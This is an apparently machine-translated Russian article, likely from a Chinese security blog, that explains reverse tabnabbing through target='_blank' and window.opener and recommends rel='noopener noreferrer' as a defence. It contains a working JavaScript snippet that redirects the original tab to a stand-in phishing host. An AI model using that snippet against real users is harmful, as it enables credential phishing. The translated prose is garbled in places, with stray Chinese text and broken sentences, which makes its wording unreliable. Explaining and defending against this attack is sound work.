При использовании ссылки на веб-странице, если вы хотите, чтобы браузер автоматически открывал указанный адрес в новой вкладке, обычным способом является
aдобавить на ярлыкtarget等于"_blank"Атрибуты.Однако именно этот атрибут представляет возможность для фишинговых атак.
источник
parentа такжеopener
говорящийopenerПрежде, давайте поговорим<iframe>серединаparent.
мы знаем, что в<iframe>предоставляет объект для взаимодействия родительских и дочерних страниц, называемыйwindow.parent, мы можем пройтиwindow.parentобъект для доступа к родительской странице со страницы во фреймеwindow.
openerа такжеparentто же, но только для<a target="_blank">Страница, которая открывается в новой вкладке. пройти через<a target="_blank">Открытую страницу можно использовать напрямуюwindow.openerдля доступа к исходной страницеwindowобъект.
Тот же домен и перекрестный домен
Браузер обеспечивает полную междоменную защиту.Если доменное имя совпадает,parentобъект иopenerОбъект на самом деле находится прямо надwindowобъект; и когда доменные имена отличаются,parentа такжеopenerпредставляет собой упакованныйglobalобъект. этоglobalОбъекты предоставляют очень ограниченный доступ к свойствам, и большинство из немногих свойств не разрешены (доступDOMException).
существует<iframe>, обеспечиваетsandboxАтрибуты используются для управления разрешениями страницы во фрейме, поэтому даже если это один и тот же домен, вы можете контролировать<iframe>безопасность.
использовать
Если на вашем веб-сайте есть ссылка, которая используетtarget="_blank", затем, как только пользователь щелкнет ссылку и перейдет на новую вкладку, страница в новой вкладке, если есть вредоносный код, может перейти с вашего веб-сайта прямо на поддельный веб-сайт. В этот момент, если пользователь вернется на вашу вкладку, он увидит замененную страницу.
подробные шаги
-
на вашем сайте
https://example.comЕсть ссылка:<a href="https://an.evil.site" target="_blank">进入一个“邪恶”的网站</a> -
Пользователь нажал на ссылку, которая открыла сайт в новой вкладке. Доступ к этому веб-сайту можно получить через HTTP-заголовок.
Refererатрибут для определения источника пользователя.Также сайт содержит код JavaScript, похожий на этот:
const url = encodeURIComponent('{{header.referer}}'); window.opener.location.replace('https://a.fake.site/?' + url); -
В этот момент пользователь продолжает просматривать страницу новой вкладки, и в это время он перешел на страницу вкладки, на которой находится исходный веб-сайт.
https://a.fake.site/?https%3A%2F%2Fexample.com%2F. -
вредоносный веб-сайт
https://a.fake.siteСогласно Query String, достаточно подделать страницу, чтобы обмануть пользователя и отобразить ее (можно также сделать скачок по периоду, сделав адресную строку браузера более запутанной). -
Пользователь закрыт
https://an.evil.site, вернуться на исходный сайт ……………… Я не могу вернуться.
Вышеуказанные шаги атаки в случае междоменной, в случае междоменной,
openerобъект иparentТо же самое, ограничено, предоставляет только очень ограниченный доступ к свойствам, и большинству из немногих свойств не разрешен доступ (доступ напрямую вызоветDOMException).но с
parentразница в том,В случае междоменногоopenerеще можно назватьlocation.replaceметода такжеparentВы не можете.Если он находится в том же домене (например, на определенной странице сайта внедрен вредоносный код), ситуация намного серьезнее, чем описанная выше.
защита
<iframe>имеютsandboxсвойства, в то время как ссылки, вы можете использовать следующие методы:
1. Реферальная политика и отсутствие реферера
В приведенных выше шагах атаки HTTP-заголовок вRefererатрибут, который фактически может быть добавлен в заголовок ответа HTTPReferrer Policyзаголовок для обеспечения безопасности конфиденциальности источника.
Referrer PolicyНужно изменить код бэкэнда для реализации, а на переднем конце вы можете использовать его.<a>помеченrelатрибут для указанияrel="noreferrer"для обеспечения конфиденциальности источника.
<a href="https://an.evil.site" target="_blank" rel="noreferrer">进入一个“邪恶”的网站</a>
Но будьте осторожны: даже с ограничениями
referer, по-прежнему не может предотвратить злонамеренный переход исходной метки.
2. noopener
В целях безопасности современные браузеры поддерживают<a>помеченrelуказанное свойствоrel="noopener", который больше не будет доступен в новых открытых вкладкахopenerобъект, он установлен наnull.
<a href="https://an.evil.site" target="_blank" rel="noopener">进入一个“邪恶”的网站</a>
3. JavaScript
noopenerСвойства, кажется, решают все проблемы, но... проблемы с совместимостью браузера...
Как видите, большинство браузеров теперь совместимыrel="noopener"характеристики. Однако для защиты немного более старых «современных» браузеров или очень старых «древних» браузеров или даже «древних» браузеров толькоnoopenerАтрибутов еще далеко не достаточно.
В настоящее время вы можете попросить помочь только следующий нативный JavaScript.
"use strict";
function openUrl(url) {
var newTab = window.open();
newTab.opener = null;
newTab.location = url;
}
рекомендовать
Сначала по ссылке на сайте, если используетеtarget="_blank", возьми этоrel="noopener", и рекомендуется принестиrel="noreferrer". Что-то вроде этого:
<a href="https://an.evil.site" target="_blank" rel="noopener noreferrer">进入一个“邪恶”的网站</a>
Конечно, переход на сторонний веб-сайт, на вес SEO, также рекомендуетсяrel="nofollow", так что это заканчивается так:
<a href="https://an.evil.site" target="_blank" rel="noopener noreferrer nofollow">进入一个“邪恶”的网站</a>
представление
Наконец, давайте поговорим о проблемах с производительностью.
Если сайт использует<a target="_blank">, то производительность вновь открытой вкладки повлияет на текущую страницу. В это время, если очень большой сценарий JavaScript выполняется на вновь открытой странице, исходная вкладка также будет затронута, и возникнет явление зависания (конечно, оно не будет зависать).
И если вы присоединитесь к ссылкеnoopener, то две вкладки не будут мешать друг другу, поэтому новая страница не повлияет на производительность исходной страницы.
Обратите внимание на публичный аккаунт WeChat: KnownsecFED, получайте больше качественной галантереи по коду!